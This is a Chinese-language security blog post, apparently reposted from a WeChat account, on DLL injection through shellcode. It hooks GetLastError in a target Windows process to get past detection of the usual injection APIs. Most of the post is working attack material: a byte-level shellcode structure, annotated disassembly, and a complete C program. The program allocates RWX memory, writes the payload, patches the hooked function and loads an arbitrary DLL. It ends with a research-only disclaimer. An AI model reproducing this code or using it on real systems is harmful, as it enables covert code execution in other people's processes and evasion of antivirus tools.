之前几个注入都需要使用相应的API才可到达注入的目的,实际上那些API都属于比较风险的函数,经常会被认为是病毒或木马。实际上程序在执行过程中总是会出现一些高频调用函数,这些函数在每个程序中或多或少都会使用到。我们完全可以直接通过写入Shellcode随后Hook这些函数来完成想要到达的效果。
在此之前需要优先考虑到的几个问题:
1. Hook什么函数
2. 怎么才能保证Hook之后仍然不影响源程序的正常执行
首先大概推断有以下几个函数是很常用的:
GetLastError
WaitForSingleObject
BaseSetLastNTError
CloseHandle
等。
其次必须要保证在Shellcode执行前后的寄存器、堆栈、代码位置要保持完全一致。这样程序才能在不受干扰的情况下继续运行下去。
Shellcode通过以下结构体方法构建
typedef struct _CODE_STRUCT {
BYTE Restore[0x18]; //保存运行环境: push raxrcxrdxrbxrbpr8-15rsirdipushq
BYTE MovMemw[3]; //Mov word内存指令
UINT32 Offset; //偏移
BYTE MovByte[2]; //数值
BYTE MovRcx[2]; //Mov Rcx指令
UINT64 Rcx; // Rcx值
BYTE SubRsp[3]; //分配栈指令
UINT32 Sub; //分配数量
BYTE MovRax[2]; //Mov Rax指令
UINT64 Rax; //Rax数值
BYTE CallRax[2]; // Call rax指令
BYTE AddRsp[3]; //释放栈指令
UINT32 Add; //释放数量
BYTE Recovery[0x18];//恢复运行环境: pop popqrdirsir15-8rbprbxrdxrcxrax
BYTE LastErrorCode[0xd];//GetLastError代码
}CODE_STRUCT, * LPCODE_STRUCT;
构造后的汇编代码:
00007FF7669AD010 push rax
00007FF7669AD011 push rcx
00007FF7669AD012 push rdx
00007FF7669AD013 push rbx
00007FF7669AD014 push rbp
00007FF7669AD015 push r8
00007FF7669AD017 push r9
00007FF7669AD019 push r10
00007FF7669AD01B push r11
00007FF7669AD01D push r12
00007FF7669AD01F push r13
00007FF7669AD021 push r14
00007FF7669AD023 push r15
00007FF7669AD025 push rsi
00007FF7669AD026 push rdi
00007FF7669AD027 pushfq
00007FF7669AD028 mov word ptr [Codes (07FF7669AD010h)],5BEBh ;将07FF7669AD010处的代码改成跳转指令,直接跳到GetLastError的代码处,防止重入等问题。
00007FF7669AD031 mov rcx,2AF7AC50700h ;目标进程中的DLL全路径
00007FF7669AD03B sub rsp,308h
00007FF7669AD042 mov rax,7FFAECFC04F0h ;LoadLibrary地址
00007FF7669AD04C call rax
00007FF7669AD04E add rsp,308h
00007FF7669AD055 popfq
00007FF7669AD056 pop rdi
00007FF7669AD057 pop rsi
00007FF7669AD058 pop r15
00007FF7669AD05A pop r14
00007FF7669AD05C pop r13
00007FF7669AD05E pop r12
00007FF7669AD060 pop r11
00007FF7669AD062 pop r10
00007FF7669AD064 pop r9
00007FF7669AD066 pop r8
00007FF7669AD068 pop rbp
00007FF7669AD069 pop rbx
00007FF7669AD06A pop rdx
00007FF7669AD06B pop rcx
00007FF7669AD06C pop rax
00007FF7669AD06D mov rax,qword ptr gs:[30h]
00007FF7669AD076 mov eax,dword ptr [rax+68h]
00007FF7669AD079 ret
需要优先将这些Shellcode写到目标进程的可读可写可执行内存中。
首先通过VirtualAllocEx分配一块可读可写可执行的区域,将结构中rcx设置为DLL路径的内存地址,随后写入Shellcode
确保写入成功后在进行Hook 函数
HOOK这里用结构:
typedef struct _JMP_RAX {
BYTE MovRax[2];//Mov rax指令
UINT64 Rax; // rax值
BYTE JmpRax[2];//Jmp rax指令
}JMP_RAX, * PJMP_RAX;
将这个代码写入GetLastError的开头,在此之前将rax改成Shellcode的地址。
随后就是等待线程去执行GetLastError函数。
完整代码:
typedef struct _CODE_STRUCT {
BYTE Restore[0x18];
BYTE MovMemw[3];
UINT32 Offset;
BYTE MovByte[2];
BYTE MovRcx[2];
UINT64 Rcx;
BYTE SubRsp[3];
UINT32 Sub;
BYTE MovRax[2];
UINT64 Rax;
BYTE CallRax[2];
BYTE AddRsp[3];
UINT32 Add;
BYTE Recovery[0x18];
BYTE LastErrorCode[0xd];
}CODE_STRUCT, * LPCODE_STRUCT;
typedef struct _JMP_RAX {
BYTE MovRax[2];
UINT64 Rax;
BYTE JmpRax[2];
}JMP_RAX, * PJMP_RAX;
JMP_RAX JmpRaxHook = {
{0x48,0xb8},
0,
{0xFF,0xE0}
};
CODE_STRUCT Codes = {
{0x50,0x51,0x52,0x53,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x56,0x57,0x9C}, //保存调用环境
{0x66,0xC7,0x05}, -0x21L, {0xeb, 0x5B},//Unhook
{0x48,0xB9}, //修改Rcx
{0x0}, //Rcx
{0x48,0x81,0xEC}, //减少Rsp
{0x308}, //Rsp
{0x48,0xB8}, //修改Rax
{0x0}, //Rax
{0xFF,0xD0}, //Call Rax
{0x48,0x81,0xC4}, //增加Rsp
{0x308}, //Rsp
{0x9D,0x5F,0x5E,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,0x41,0x58,0x5D,0x5B,0x5A,0x59,0x58}, //恢复调用环境
{0x65,0x48,0x8B,0x04,0x25,0x30,0x00,0x00,0x00,0x8B,0x40,0x68,0xC3}//GetLastError代码
};
int main()
{
DWORD dwPid;
printf("输入PID:");
scanf_s("%d", &dwPid);
BOOLEAN blSuccess = FALSE;
HANDLE hProc = NULL;
HMODULE hKernelBase = NULL;
HMODULE hKernel32 = NULL;
PBYTE RemoteCode = NULL;
HANDLE hLoadEvt = NULL;
do{
SIZE_T dwWriteBytes;
PBYTE DllName;
hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwPid);
if (!hProc)
break;
RemoteCode = VirtualAllocEx(hProc, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteCode)
break;
DllName = RemoteCode + 0x700;
if (!WriteProcessMemory(hProc, DllName, DLL_NAME, sizeof(DLL_NAME), &dwWriteBytes))
break;
hKernelBase = LoadLibrary(_T("KernelBase.dll"));
if (!hKernelBase)
break;
PVOID lpfnGetLastError = GetProcAddress(hKernelBase, "GetLastError");
if (!lpfnGetLastError)
break;
hKernel32 = LoadLibrary(_T("Kernel32.dll"));
if (!hKernel32)
break;
PVOID lpfnLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
if (!lpfnLoadLibraryA)
break;
Codes.Rcx = (UINT64)DllName;
Codes.Rax = (UINT64)lpfnLoadLibraryA;
if (!WriteProcessMemory(hProc, RemoteCode, &Codes, sizeof(Codes), &dwWriteBytes))
break;
hLoadEvt = CreateEvent(NULL, FALSE, FALSE, GLOBAL_EVENT);
if (!hLoadEvt)
break;
JmpRaxHook.Rax = (UINT64)RemoteCode;
if (!WriteProcessMemory(hProc, lpfnGetLastError, &JmpRaxHook, sizeof(JmpRaxHook), &dwWriteBytes))
break;
WaitForSingleObject(hLoadEvt, INFINITE);
printf("执行成功!n");
blSuccess = TRUE;
} while (FALSE);
if (!blSuccess)
printf("错误:%dn", GetLastError());
if (hProc)
{
//if (RemoteCode)
// VirtualFreeEx(hProc, RemoteCode, 0, MEM_RELEASE);
CloseHandle(hProc);
}
if (hKernelBase)
FreeLibrary(hKernelBase);
if (hKernel32)
FreeLibrary(hKernel32);
if (hLoadEvt)
CloseHandle(hLoadEvt);
return 0;
}
本文始发于微信公众号(锋刃科技):Shellcode注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论